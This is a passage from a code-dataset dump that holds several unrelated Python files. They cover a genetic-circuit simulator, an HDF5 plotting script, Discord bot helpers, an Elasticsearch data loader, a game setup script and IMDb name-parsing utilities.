= float(dict_of_circuit[key]['ymax'])\n dict_of_circuit[key]['ymin'] = float(dict_of_circuit[key]['ymin'])\n dict_of_circuit[key]['Inputs'] = list(\n map(int, dict_of_circuit[key]['Inputs']))\n dict_of_circuit[key]['on_threshold'] = float(\n dict_of_circuit[key]['on_threshold'])\n dict_of_circuit[key]['K'] = float(dict_of_circuit[key]['K'])\n dict_of_circuit[key]['off_threshold'] = float(\n dict_of_circuit[key]['off_threshold'])\n dict_of_circuit[key]['n'] = float(dict_of_circuit[key]['n'])\n except:\n # dummy variable to make the except statement happy.\n a = 1\n\n# -----------------------------------------------------------------------------#\n# This block of code recreates the flow of the circuit #\n# from start to fin. #\n# -----------------------------------------------------------------------------#\noutput_gate = []\nfor key in dict_of_circuit.keys():\n if dict_of_circuit[key]['ID'] == 1:\n output_gate += [key]\n\n\ndef circuit_flow(circuit_dict, starting_gate_list):\n # find the inputs to the gates in the starting_gate_list\n for gate in starting_gate_list:\n for key in circuit_dict:\n try:\n if (circuit_dict[key]['ID'] in\n circuit_dict[gate]['Inputs']):\n starting_gate_list += [(gate, key)]\n except:\n pass\n if len(gate) == 2:\n for key in circuit_dict:\n try:\n if(circuit_dict[key]['ID'] in\n circuit_dict[gate[1]]['Inputs']):\n starting_gate_list += [(gate[1], key)]\n except:\n pass\n\ncircuit_flow(dict_of_circuit, output_gate)\noutput_gate = output_gate[1: len(output_gate)]\n\ncirc = {}\nfor k, v in output_gate:\n circ.setdefault(k, [k]). append(v)\n\ncirc_list = list(map(tuple, circ.values()))\n\n# -------------------------------------------------------------------------------#\n# We order the elements in the circ_list based on their ID #\n# -------------------------------------------------------------------------------#\n\n# this adds the IDs to the circuit list:\nfor key in dict_of_circuit.keys():\n for elem in circ_list:\n if key == elem[0]:\n element = (dict_of_circuit[key]['ID'], elem)\n circ_list[circ_list.index(elem)] = element\n\n# Sort the circuit elements from greatest to least.\ncirc_list = sorted(circ_list, reverse=True, key=lambda x: x[0])\n\n# --------------------------------------------------------------------------------#\n# Define a combinations function that we will use later #\n# This function was taken from the python website as a #\n# replacement for the itertools library function combos. #\n# --------------------------------------------------------------------------------#\n\n\ndef combinations(iterable, r):\n # combinations('ABCD', 2) --> AB AC AD BC BD CD\n # combinations(range(4), 3) --> 012 013 023 123\n pool = tuple(iterable)\n n = len(pool)\n if r > n:\n return\n indices = list(range(r))\n yield tuple(pool[i] for i in indices)\n while True:\n for i in reversed(range(r)):\n if indices[i] != i + n - r:\n break\n else:\n return\n indices[i] += 1\n for j in range(i + 1, r):\n indices[j] = indices[j - 1] + 1\n yield tuple(pool[i] for i in indices)\n\n# -------------------------------------------------------------------------------#\n# Function that turns the dictionary of circuit elements into #\n# a vector of circuit elements #\n# -------------------------------------------------------------------------------#\n\n\ndef create_parameters_array(dict_of_circuit):\n gates = [{gatename: values} for gatename, values in dict_of_circuit.items(\n ) if len(values) > 4] # Get only the gates that are not the initial inputs\n params = np.array([[gatevalues['n'], gatevalues['K'], gatevalues['ymax'],\n gatevalues['ymin']] for gate in gates for gatename,\n gatevalues in gate.items()])\n flat_params = params.flatten() # creates linear array\n return flat_params\n\n\n# -------------------------------------------------------------------------------#\n# Grouper Function from python recipes #\n# --------------------------------------------------------------------------------#\n# From Python Recipes \"Collect data into fixed-length chunks or blocks\"\n# grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx\"\ndef grouper(iterable, n, fillvalue=None):\n\n args = [iter(iterable)] * n\n return(zip_longest(*args, fillvalue=fillvalue))\n\n# --------------------------------------------------------------------------------#\n# Convert the parameter array to array of tuples #\n# --------------------------------------------------------------------------------#\n\n\ndef convert_parameter_array_to_tuples(params, dict_of_circuit):\n gates = [gatename for gatename, values in dict_of_circuit.items() if len(\n values) > 4] # Name of gates that aren't the initial input\n # Groups the linear array into tuples of size 4 ex: [1,2,3,4,5,6,7,8] -->\n # (1,2,3,4), (5,6,7,8)\n params_per_gate = grouper(params, 4)\n dict_values = [(gatename,) + tuple(zip(['n', 'K', 'ymax', 'ymin'],\n gate_params))\n for gatename, gate_params in zip(gates, params_per_gate)]\n return dict_values\n\n# -----------------------------------------------------------------------------------#\n# Recreates the genetic circuit using forward propagation #\n# -----------------------------------------------------------------------------------#\n\n\ndef circuit_forward_prop(parameters):\n global dict_of_circuit\n global circ_list\n\n parameter_list = (convert_parameter_array_to_tuples(parameters,\n dict_of_circuit))\n\n # update the dict_of_circuit\n for x in parameter_list:\n for y in x:\n if isinstance(y, tuple):\n dict_of_circuit[x[0]][y[0]] = y[1]\n\n for ele in circ_list:\n count = 1\n for item in ele[1]:\n if item != ele[1][0]:\n count += 1\n y_min = dict_of_circuit[ele[1][0]]['ymin']\n y_max = dict_of_circuit[ele[1][0]]['ymax']\n k = dict_of_circuit[ele[1][0]]['K']\n n = dict_of_circuit[ele[1][0]]['n']\n if count > 2:\n input_list += [(dict_of_circuit[item]['ymin'],\n dict_of_circuit[item]['ymax'])]\n else:\n input_list = [(dict_of_circuit[item]['ymin'],\n dict_of_circuit[item]['ymax'])]\n the_input = [x for t in input_list for x in t]\n x_list = list(combinations(the_input, int(len(the_input) / 2)))\n for item in input_list:\n if item in x_list:\n x_list.remove(item)\n y_values = []\n for b_x in x_list:\n x = sum(b_x)\n y_values += [y_min + (y_max - y_min) / (1 + (x / k)**n)]\n dict_of_circuit[ele[1][0]]['ymin'] = min(y_values)\n dict_of_circuit[ele[1][0]]['ymax'] = max(y_values)\n score = max(y_values) / min(y_values)\n print(score)\n print(dict_of_circuit[ele[1][0]]['score'])\n\n\n# ---------------------------------------------------------------------------#\n# Run the functions that were made previously #\n# ---------------------------------------------------------------------------#\nparameters = create_parameters_array(dict_of_circuit)\ncircuit_forward_prop(parameters)\n","repo_name":"gottben/Synthetic_Biology_Hmwk1","sub_path":"Cello.py","file_name":"Cello.py","file_ext":"py","file_size_in_byte":13884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72483933230","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 25 09:39:22 2020\n\n@author: Tzu-Chiao Chien and Ryan Kaufman\n\"\"\"\n\n\n\"\"\"\nCreated on Mon Jul 24 19:45:51 2017\n\n@author: Ryan Kaufman\n\nWill eventually be a module for grabbing data out of files via a GUI\n\"\"\"\n\nimport numpy as np\nimport h5py\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as color\nfrom matplotlib.widgets import Slider\nfrom matplotlib.lines import Line2D\nimport easygui\n#%%\ncwd = r'H:\\Data\\Fridge Texas\\General measurement\\20180323_cable_measurement_after_upgrade'\nif cwd == None: \n raise Exception(\"CWD not chosen!\")\n \n#%%\n#Single File, single traces overlaid onto one-another if you choose: \ndef get_plot(file = None, IQ = False):\n if file == None: \n filepath = easygui.fileopenbox(\"Choose File\", default = cwd)\n file = h5py.File(filepath)\n assert file != None\n else: \n filepath = file\n file = h5py.File(filepath)\n \n datasets = file.keys()\n ind_var = easygui.choicebox(\"Pick the independent variable: \", choices = datasets)\n # print(ind_var)\n dep_vars = easygui.multchoicebox(\"Pick the dependent variable: \", choices = datasets)\n # print(dep_var)\n \n ind_var_data = np.array(file[ind_var])\n dep_var_data = []\n for dep_var in dep_vars: \n dep_var_data.append(np.array(file[dep_var]))\n \n \n return ind_var_data, dep_var_data, ind_var, dep_vars\n#%%\nind_vars, dep_vars, ind_name, dep_names = get_plot()\n# ind_vars2, dep_vars2, ind_name2, dep_name2 = get_plot()\n#%%\nprint(dep_names)\nprint(dep_vars)\ni = 0\nfor (dep_var, dep_name) in zip(dep_vars,dep_names): \n print(i)\n plt.figure(i)\n i+=1\n print(\"Max: {:.3f} \\nMin: {:.3f}\".format(np.max(dep_var), np.min(dep_var)))\n for i in range(np.shape(np.shape(dep_var))[2]): \n plt.plot(ind_vars, dep_var)\n plt.xlabel(ind_name)\n plt.ylabel(dep_name) \n plt.title(f\"{i}\")\n\n#%%\n# #%% Get the data from multiple separate files\ndef compile_traces():\n num_traces = easygui.choicebox(choices = np.arange(1,6))\n i = 0 \n trace_data = []\n freq_data = []\n while i < num_traces: \n filepath = easygui.fileopenbox(\"Choose File #\"+str(i+1), default = cwd)\n file = h5py.File(filepath)\n trace = np.array(file['noise']) #TODO: generalize to choice\n freqs = np.array(file['Freq'])\n trace_data.append(trace)\n freq_data.append(freqs)\n file.close()\n i+=1\n return freq_data, trace_data\n\n#%% Extract 2d Data from h5\ndef get_pcolor(cwd): \n filepath = easygui.fileopenbox(\"Choose File\", default = cwd)\n file = h5py.File(filepath)\n datasets = file.keys()\n ind_vars = easygui.multchoicebox(\"Pick the independent variables: \", choices = datasets)\n dep_vars = easygui.multchoicebox(\"Pick the dependent variables: \", choices = datasets)\n #checking for data redundancy, i.e. if every line of an independent variable is the same, reduce it to just the first line\n ind_var_data = []\n for ind_var in ind_vars: \n ind_var_datum = np.array(file[ind_var])\n is_repetitive = True\n for i in range(np.shape(ind_var_datum)[0]):\n if np.any(ind_var_datum[i] != ind_var_datum [0]): \n is_repetitive = False\n if is_repetitive == True: \n ind_var_datum = ind_var_datum[0]\n ind_var_data.append(ind_var_datum)\n dep_var_data = []\n for dep_var in dep_vars: \n dep_var_data.append(np.array(file[dep_var]))\n \n return ind_var_data, ind_vars, dep_var_data, dep_vars\n \nind_vars,ind_var_names, dep_vars, dep_var_names = get_pcolor(cwd)\n# ind_vars2,ind_var_names2, dep_var2, dep_var_name2 = get_pcolor(cwd)\n#%%Plot Pcolor(s)\n#TODO: incorporate into get_pcolor with more color choices, etc\ni = 0\nfor (dep_var, dep_var_name) in zip(dep_vars, dep_var_names):\n # print(dep_var)\n plt.figure(i)\n i+=1\n ind_avgs = [np.average(i) for i in ind_vars]\n dep_avg = np.average(dep_var)\n colors = [color.hex2color('#0000FF'), color.hex2color('#FFFFFF'), color.hex2color('#FF0000')] \n _cmap = color.LinearSegmentedColormap.from_list('my_cmap', colors)\n adj = 0\n graph = dep_var.T\n low = np.min(dep_var)\n high = np.max(dep_var)\n # low = -13\n # high = 6\n _norm = color.Normalize(vmin = low, vmax = high)\n # x = np.min(dep_var)\n # y = np.max(dep_var)\n plt.pcolormesh((ind_vars[0]),ind_vars[1],graph, cmap = _cmap, norm = _norm)\n plt.colorbar(label = dep_var_name)\n plt.gca().get_xaxis().get_major_formatter().set_useOffset(False)\n plt.gca().get_yaxis().get_major_formatter().set_useOffset(False)\n plt.xlabel( ind_var_names[0])\n plt.ylabel(ind_var_names[1])\n # plt.title('SHARC33 A_to_S_leakage')\n#%% Now extract a line cut from that 2d plot\n\n#from the plot, we're going to want to be able to specify one value of one of \n#the independent variables, then the line cuts across the other one at that \n#value\n\n#ideally this would be a slider in the plot window, but whatever\ndef linecut_data(ind_vars, ind_var_names, dep_vars, dep_var_names):\n dep_var_name = easygui.choicebox(\"Choose dependent variable of cut\", choices = dep_var_names)\n dep_var = dep_vars[dep_var_names.index(dep_var_name)]\n cut_var_name = easygui.choicebox(\"Choose variable you would like to cut along:\", choices = ind_var_names)\n cut_name_index = list(ind_var_names).index(cut_var_name) #only lists have the .index method :(\n #Sometimes the order of names does not correspond to the ordering of indices in dep_var, this takes care of that\n cut_index = np.shape(dep_var).index(len(ind_vars[cut_name_index]))\n cut_var_val = float(easygui.choicebox(\"Choose value of the cut variable:\", choices = ind_vars[cut_name_index]))\n cut_var_val_index = list(ind_vars[cut_name_index]).index(cut_var_val)\n #we know it is 2d data, so if cut_index is 0, we want a [cut_var_index,:] cut, else [:,cut_var_index]\n #TODO: find more pythonic solution\n if cut_index == 0: \n cut_dep_data = dep_var[cut_var_val_index, :]\n \n elif cut_index == 1: \n cut_dep_data = dep_var[:, cut_var_val_index]\n\n cut_ind_data = ind_vars[int(not cut_index)] #this logic just makes 0's into 1's and vice-versa\n cut_ind_name = ind_var_names[int(not cut_index)]\n cut_dep_name = \"{} at {} = {:.3f}\".format(dep_var_name, cut_var_name, cut_var_val)\n \n return cut_ind_data, cut_ind_name, cut_dep_data, cut_dep_name\n \ncut_ind_data, cut_ind_name, cut_dep_data, cut_dep_name = linecut_data(ind_vars,ind_var_names, dep_vars, dep_var_names)\n# cut_ind_data2, cut_ind_name2, cut_dep_data2, cut_dep_name2 = linecut_data(ind_vars,ind_var_names, dep_var, dep_var_name)\n#%% Plot the linecut\n\nplt.plot(cut_ind_data, cut_dep_data, '-', label = 'Forward')\n# plt.plot(cut_ind_data2, cut_dep_data2, '-', label = 'Backward')\nplt.title(cut_dep_name)\nplt.xlabel(cut_ind_name)\nplt.ylabel(\"\")\n\n#%% Extract info from traces\ndef get_min_ders(data):\n ders = []\n der_max_locs = [] #should correspond to bifurcation\n der_max_freqs = []\n for trace in mags: \n der = np.gradient(trace)\n der_max_loc = list(np.where(der == np.min(der))[0])[0]\n der_max_locs.append(der_max_loc)\n der_max_freq = freqs[der_max_loc]\n der_max_freqs.append(der_max_freq)\n ders.append(der)\n return(der_max_freqs)\n\n#%%\n#Fit Function\nFfun = lambda w: np.log10((1+(1-3/(w**2))**(3/2)+9/(w**2))*w**3)\nFfun2 = lambda w: np.log10((1-(1-3/(w**2))**(3/2)+9/(w**2))*w**3)\nstart = 0\nend = 1600\nsf = freqs[800]\nfitfreqs = np.flip(freqs[start:end])+(1+np.sqrt(3))*sf\nplt.plot(np.flip(fitfreqs), Ffun((fitfreqs)), label = 'Rough \"Fit\" upper')\nplt.plot(np.flip(fitfreqs), Ffun2((fitfreqs)), label = 'Rough \"Fit\" lower')\n#%%\nplt.plot(get_min_ders(dep_var), ind_vars[0], label = 'forward')\nplt.plot(get_min_ders(dep_var2),ind_vars[0], label = 'backward')\nplt.legend(loc = 'right')\nplt.title(\"Minimum derivative points\")\nplt.ylabel(\"VNA Power\")\nplt.xlabel(\"Frequency\")\n#%% process a pcolr (Duffing test plot)\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"PITT-HATLAB/data_processing","sub_path":"data_processing/ddh5_Plotting/General_reader.py","file_name":"General_reader.py","file_ext":"py","file_size_in_byte":8074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20082233489","text":"from __future__ import annotations\n\nfrom datetime import datetime, timedelta\n\nimport time\n\nimport logging\n\nimport typing\nfrom discord.ext import commands\n\nfrom typing import TYPE_CHECKING\nfrom handler.view import interaction_error_button\nfrom discord.ui import Button\nimport discord\n\n\nasync def error_embed(bot, Interaction: discord.Interaction, title: str = None, *, description: str = None,\n error_name=None,\n error_dis: str = None, colour: discord.Colour = None, timestamp=discord.utils.utcnow()):\n error_emoji = \"<:icons8closewindow100:975326725426778184>\"\n right_emoji = \"<:icons8chevronright100:975326725158346774>\"\n\n if title is None:\n title = f\"{error_emoji} ``OPERATION FAILED``\"\n\n if not colour:\n colour = bot.embed_colour\n\n embed = discord.Embed(title=title, description=description, timestamp=timestamp, colour=colour)\n\n if error_name and error_dis:\n error_name = f\"__**{error_name}**__\"\n error_dis = f\"{right_emoji} {error_dis}\"\n embed.add_field(name=error_name, value=error_dis)\n\n embed.set_footer(text='\\u200b', icon_url=Interaction.user.avatar.url)\n view = interaction_error_button(Interaction)\n linkbutton = Button(url=\"https://sussybot.xyz\", label=\"support\", style=discord.ButtonStyle.url)\n view.add_item(linkbutton)\n is_done = Interaction.response.is_done()\n if is_done:\n await Interaction.followup.send(embed=embed, view=view, ephemeral=True)\n else:\n await Interaction.response.send_message(embed=embed, view=view, ephemeral=True)\n\n view.message = await Interaction.original_message()\n return view.message\n\n\nasync def heloo(ctx: discord.Interaction):\n return await ctx.response.send_message(\"hello world\")\n\n\nasync def send_dm(member=discord.Member, *, message: str = None, embed: discord.Embed = None,\n view: discord.ui.View = None):\n logging.warning('create dm')\n channel = await member.create_dm()\n logging.warning('succes')\n return await channel.send(content=message, embed=embed, view=view)\n\n\ndef datetime_to_local_timestamp(utc_datetime):\n now_timestamp = time.time()\n offset = datetime.fromtimestamp(now_timestamp) - datetime.utcfromtimestamp(now_timestamp)\n return round(int(time.mktime((utc_datetime + offset).timetuple())))\n\n\ndef format_ns(self, ns):\n if ns > 1000 ** 3:\n return f\"{ns / 1000 ** 3} s\"\n elif ns > 1000 ** 2:\n return f\"{ns / 1000 ** 2} ms\"\n elif ns > 1000:\n return f\"{ns / 1000} µs\"\n else:\n return f\"{ns} ns\"\n\n\ndef string_to_delta(input):\n if input is None:\n return\n slice_num = -1\n slice_object = slice(-1)\n time_in_delta = None\n input = input.lower()\n\n try:\n int(input[slice_object])\n except ValueError:\n return\n\n if input.endswith('d'):\n ab = slice(slice_num)\n a = input[ab]\n time_in_delta = timedelta(days=int(a))\n if input.endswith('h'):\n ab = slice(slice_num)\n a = input[ab]\n time_in_delta = timedelta(hours=int(a))\n if input.endswith('m'):\n ab = slice(slice_num)\n a = input[ab]\n time_in_delta = timedelta(minutes=int(a))\n if input.endswith('s'):\n ab = slice(slice_num)\n a = input[ab]\n time_in_delta = timedelta(seconds=int(a))\n time_in_delta = time_in_delta\n return time_in_delta\n","repo_name":"0xgreenapple/Sussy-bot","sub_path":"handler/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26417649018","text":"import random\n\nclass SolutionThree:\n @staticmethod\n def unique_sum_to_zero(input = None):\n ''' given an integer N (1 ≤ N ≤ 100), returns an array containing N unique integers that sum up to 0. The function can return any such array. '''\n while(True):\n result = []\n for i in range(0, input, 1):\n # rand_num = np.random.randint(-10, 10)\n rand_num = random.randint(-10, 10)\n if(not(rand_num in result)):\n result.append(rand_num)\n check_val = sum(result)\n if(check_val == 0):\n break\n return result\n\n\nif(__name__ == \"__main__\"):\n print(SolutionThree.unique_sum_to_zero(input=4))","repo_name":"kristan-dev/codility_answers","sub_path":"unique_sum_to_zero.py","file_name":"unique_sum_to_zero.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"41178179264","text":"import csv\nimport requests\nimport json\nimport time\n\nes_base_url = {\n 'destination': 'http://localhost:9200/travelsearch/destination',\n}\n\ndef getNodesCSV(filename):\n with open(filename, 'r') as input, open('nodes.csv', 'w') as output:\n reader = csv.reader(input, delimiter=',')\n writer = csv.writer(output, delimiter=',')\n writer.writerow(['id:ID', 'country', 'city', 'name', 'intro'])\n for row in reader:\n writer.writerow(row)\n\n\ndef getConnectionCSV(filename):\n url = es_base_url['destination'] + '/_search'\n with open(filename, 'r') as input, open('relations.csv', 'w') as output:\n reader = csv.DictReader(input, delimiter=',')\n writer = csv.writer(output, delimiter=',')\n writer.writerow([\":START_ID\", \":END_ID\", \"score\"])\n for row in reader:\n startId = row['id:ID']\n query = {\n \"query\": {\n \"match\": {\n \"intro\": row['intro']\n }\n },\n \"size\": 10\n }\n data = requests.post(url, data=json.dumps(query)).json()\n if (len(data['hits']['hits']) > 0):\n for hit in data['hits']['hits'][1:]:\n destination = hit['_source']\n endId = destination['id']\n if startId == endId: continue\n print(startId, endId, hit['_score'])\n writer.writerow([startId, endId, hit['_score']])\n\n\nif __name__ == '__main__':\n # getNodesCSV('./../data/wikitravel.csv')\n getConnectionCSV('./nodes.csv')\n # test_country = {'type': '', 'country': 'Japan', 'name': 'Gokoku Shrine', 'city': 'Hiroshima', 'intro': \"Located on the castle grounds, this concrete shrine has great significance to locals, having been rebuilt after the atomic blast and now the center for most annual Shinto traditions in the city. But other than a historical marker, there's not much to see for travelers, other than festivals (especially New Year's Eve).\"}\n # print(searchCountryByIntro(test_country))","repo_name":"chesiver/CS6400_Travel_Recommend","sub_path":"graph database/loadData.py","file_name":"loadData.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"25745482483","text":"#!/usr/bin/env python\n\nimport copy\nimport glob\nimport os\nimport pyglet\nimport setuptools\nimport shutil\nimport subprocess\nimport sys\n\n\ndef subpackages(package):\n def _subpackages(package):\n if os.path.isfile(os.path.join(package, '__init__.py')):\n yield package.replace('/', '.')\n for x in os.listdir(package):\n subpackage = os.path.join(package, x)\n if os.path.isdir(subpackage):\n for x in subpackages(subpackage):\n yield x\n return list(_subpackages(package))\n\n## Constants ##################################################################\n\nNAME = 'Run, Faustus, Run!'\n\nVERSION = '1.1'\n\nPACKAGES = subpackages('gamelib') + subpackages('pyglet')\n\n\n## Utility functions ##########################################################\n\ndef create_dir(*paths):\n dir_path = os.path.join(*paths)\n if os.path.exists(dir_path):\n shutil.rmtree(dir_path)\n os.makedirs(dir_path)\n return dir_path\n\ndef glob_remove(*paths):\n glob_path = os.path.join(*paths)\n for file_path in glob.glob(glob_path):\n if os.path.isdir(file_path):\n shutil.rmtree(file_path)\n elif os.path.isfile(file_path):\n os.remove(file_path)\n\ndef copy_from_sdist(name, target_path):\n base_name = '%(name)s-%(version)s-source' % metadata\n src_path = os.path.join('dist', base_name, name)\n dst_path = os.path.join(target_path, name)\n if not os.path.exists(os.path.join('dist', base_name)):\n sys.argv[1:] = ['sdist']\n sdist()\n if os.path.isdir(src_path):\n shutil.copytree(src_path, dst_path)\n elif os.path.isfile(src_path):\n shutil.copyfile(src_path, dst_path)\n return dst_path\n\ndef byte_compile(path, **kwds):\n from distutils.util import byte_compile\n path = os.path.abspath(path)\n def _walk():\n for root, dirs, files in os.walk(path):\n for filename in files:\n if filename.lower().endswith('.py'):\n yield os.path.join(root, filename)\n kwds.setdefault('prefix', os.path.split(os.sep)[0])\n byte_compile(_walk(), **kwds)\n\n\n## Metadata ###################################################################\n\nmetadata = dict(\n\n name = 'run_faustus_run',\n\n version = VERSION,\n\n description = 'Description of the game.',\n\n long_description = 'Detailed description of the game.',\n\n author = 'Awe Thorre',\n\n author_email = 'awe.thorre@example.com',\n\n maintainer = 'Mae N. Tanner',\n\n maintainer_email = 'mae.n.tanner@example.com',\n\n url = 'http://www.example.com/my_game',\n\n download_url = 'http://www.example.com/my_game/download',\n\n classifiers = [\n ],\n\n platforms = [\n ],\n\n license = '',\n\n)\n\n## Pre-build ##############################################################\n\n# copy options dictionary\noptions = copy.deepcopy(metadata)\n\n# format base file name\nbase_name = '%(name)s-%(version)s-source' % metadata\n\n# clean up output files\nglob_remove('dist', base_name + '*')\n\n# create staging directory\nstaging_path = os.path.join('dist', base_name)\n\n## Build ##################################################################\n\n# build options\noptions.update(\n # sdist options\n options = {'sdist' : dict(\n formats = ['gztar'],\n keep_temp = True,\n )},\n packages = PACKAGES,\n)\n\n# start build\nsetuptools.setup(**options)\n\n## Post-build #############################################################\n\n# move staging directory to dist directory\nos.rename('%(name)s-%(version)s' % metadata, staging_path)\n\n# clean up egg-info directory\nglob_remove('%(name)s.egg-info' % metadata)\n\n# clean up build directory\nglob_remove('build')\n","repo_name":"Asher-1/pythonGames","sub_path":"CreateApplications/pyweek/run_faustus_run-1.1/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3709,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"20089144101","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport re\nimport string\nimport sys\nfrom copy import copy, deepcopy\nfrom functools import total_ordering\nfrom time import strftime, strptime\n\nfrom imdb import linguistics\nfrom imdb._exceptions import IMDbParserError\nfrom imdb._logging import imdbpyLogger\n\nPY2 = sys.hexversion < 0x3000000\n\n# Logger for imdb.utils module.\n_utils_logger = imdbpyLogger.getChild('utils')\n\n# The regular expression for the \"long\" year format of IMDb, like\n# \"(1998)\" and \"(1986/II)\", where the optional roman number (that I call\n# \"imdbIndex\" after the slash is used for movies with the same title\n# and year of release.\n# XXX: probably L, C, D and M are far too much! ;-)\nre_year_index = re.compile(r'\\(([0-9\\?]{4}([–-]([0-9\\?]{4})?\\s?)?(/[IVXLCDM]+)?)\\)')\nre_m_episode = re.compile(r'\\(TV Episode\\)\\s+-\\s+', re.I)\nre_m_series = re.compile(r'Season\\s+(\\d+)\\s+\\|\\s+Episode\\s+(\\d+)\\s+-', re.I)\nre_m_imdbIndex = re.compile(r'\\(([IVXLCDM]+)\\)')\nre_m_kind = re.compile(\n r'\\((TV episode|TV Series|TV mini[ -]series|mini|TV|Video|Video Game|VG|Short|TV Movie|TV Short|TV Special|V)\\)',\n re.I\n)\n\nKIND_MAP = {\n 'tv': 'tv movie',\n 'tv episode': 'episode',\n 'v': 'video movie',\n 'video': 'video movie',\n 'vg': 'video game',\n 'mini': 'tv mini series',\n 'tv mini-series': 'tv mini series',\n 'tv miniseries': 'tv mini series',\n 'tv special': 'tv special'\n}\n\n# Match only the imdbIndex (for name strings).\nre_index = re.compile(r'^\\(([IVXLCDM]+)\\)$')\n\n# Match things inside parentheses.\nre_parentheses = re.compile(r'(\\(.*\\))')\n\n# Match the number of episodes.\nre_episodes = re.compile(r'\\s?\\((\\d+) episodes\\)', re.I)\nre_episode_info = re.compile(\n r'{\\s*(.+?)?\\s?(\\([0-9\\?]{4}-[0-9\\?]{1,2}-[0-9\\?]{1,2}\\))?\\s?(\\(#[0-9]+\\.[0-9]+\\))?}'\n)\n\n# Common suffixes in surnames.\n_sname_suffixes = ('de', 'la', 'der', 'den', 'del', 'y', 'da', 'van',\n 'e', 'von', 'the', 'di', 'du', 'el', 'al')\n\n\ndef canonicalName(name):\n \"\"\"Return the given name in canonical \"Surname, Name\" format.\n It assumes that name is in the 'Name Surname' format.\"\"\"\n # XXX: some statistics (as of 17 Apr 2008, over 2288622 names):\n # - just a surname: 69476\n # - single surname, single name: 2209656\n # - composed surname, composed name: 9490\n # - composed surname, single name: 67606\n # (2: 59764, 3: 6862, 4: 728)\n # - single surname, composed name: 242310\n # (2: 229467, 3: 9901, 4: 2041, 5: 630)\n # - Jr.: 8025\n # Don't convert names already in the canonical format.\n if name.find(', ') != -1:\n return name\n joiner = '%s, %s'\n sur_joiner = '%s %s'\n sur_space = ' %s'\n space = ' '\n sname = name.split(' ')\n snl = len(sname)\n if snl == 2:\n # Just a name and a surname: how boring...\n name = joiner % (sname[1], sname[0])\n elif snl > 2:\n lsname = [x.lower() for x in sname]\n if snl == 3:\n _indexes = (0, snl - 2)\n else:\n _indexes = (0, snl - 2, snl - 3)\n # Check for common surname prefixes at the beginning and near the end.\n for index in _indexes:\n if lsname[index] not in _sname_suffixes:\n continue\n try:\n # Build the surname.\n surn = sur_joiner % (sname[index], sname[index + 1])\n del sname[index]\n del sname[index]\n try:\n # Handle the \"Jr.\" after the name.\n if lsname[index + 2].startswith('jr'):\n surn += sur_space % sname[index]\n del sname[index]\n except (IndexError, ValueError):\n pass\n name = joiner % (surn, space.join(sname))\n break\n except ValueError:\n continue\n else:\n name = joiner % (sname[-1], space.join(sname[:-1]))\n return name\n\n\ndef normalizeName(name):\n \"\"\"Return a name in the normal \"Name Surname\" format.\"\"\"\n joiner = '%s %s'\n sname = name.split(', ')\n if len(sname) == 2:\n name = joiner % (sname[1], sname[0])\n return name\n\n\ndef analyze_name(name, canonical=None):\n \"\"\"Return a dictionary with the name and the optional imdbIndex\n keys, from the given string.\n\n If canonical is None (default), the name is stored in its own style.\n If canonical is True, the name is converted to canonical style.\n If canonical is False, the name is converted to normal format.\n\n raise an IMDbParserError exception if the name is not valid.\n \"\"\"\n original_n = name\n name = name.split(' aka ')[0].strip()\n res = {}\n imdbIndex = ''\n opi = name.rfind('(')\n cpi = name.rfind(')')\n # Strip notes (but not if the name starts with a parenthesis).\n if opi not in (-1, 0) and cpi > opi:\n if re_index.match(name[opi:cpi + 1]):\n imdbIndex = name[opi + 1:cpi]\n name = name[:opi].rstrip()\n else:\n # XXX: for the birth and death dates case like \" (1926-2004)\"\n name = re_parentheses.sub('', name).strip()\n if not name:\n raise IMDbParserError('invalid name: \"%s\"' % original_n)\n if canonical is not None:\n if canonical:\n name = canonicalName(name)\n else:\n name = normalizeName(name)\n res['name'] = name\n if imdbIndex:\n res['imdbIndex'] = imdbIndex\n return res\n\n\ndef build_name(name_dict, canonical=None):\n \"\"\"Given a dictionary that represents a \"long\" IMDb name,\n return a string.\n If canonical is None (default), the name is returned in the stored style.\n If canonical is True, the name is converted to canonical style.\n If canonical is False, the name is converted to normal format.\n \"\"\"\n name = name_dict.get('canonical name') or name_dict.get('name', '')\n if not name:\n return ''\n if canonical is not None:\n if canonical:\n name = canonicalName(name)\n else:\n name = normalizeName(name)\n imdbIndex = name_dict.get('imdbIndex')\n if imdbIndex:\n name += ' (%s)' % imdbIndex\n return name\n\n\n# XXX: here only for backward compatibility. Find and remove any dependency.\n_unicodeArticles = linguistics.GENERIC_ARTICLES\n_articles = linguistics.toUTF8(_unicodeArticles)\narticlesDicts = linguistics.articlesDictsForLang(None)\nspArticles = linguistics.spArticlesForLang(None)\n\n\ndef canonicalTitle(title, lang=None, imdbIndex=None):\n \"\"\"Return the title in the canonic format 'Movie Title, The';\n beware that it doesn't handle long imdb titles.\n The 'lang' argument can be used to specify the language of the title.\n \"\"\"\n isUnicode = isinstance(title, str)\n articlesDicts = linguistics.articlesDictsForLang(lang)\n try:\n if title.split(', ')[-1].lower() in articlesDicts[isUnicode]:\n return title\n except IndexError:\n pass\n _format = '%s%s, %s'\n ltitle = title.lower()\n if imdbIndex:\n imdbIndex = ' (%s)' % imdbIndex\n else:\n imdbIndex = ''\n spArticles = linguistics.spArticlesForLang(lang)\n for article in spArticles[isUnicode]:\n if ltitle.startswith(article):\n lart = len(article)\n title = _format % (title[lart:], imdbIndex, title[:lart])\n if article[-1] == ' ':\n title = title[:-1]\n break\n return title\n\n\ndef normalizeTitle(title, lang=None):\n \"\"\"Return the title in the normal \"The Title\" format;\n beware that it 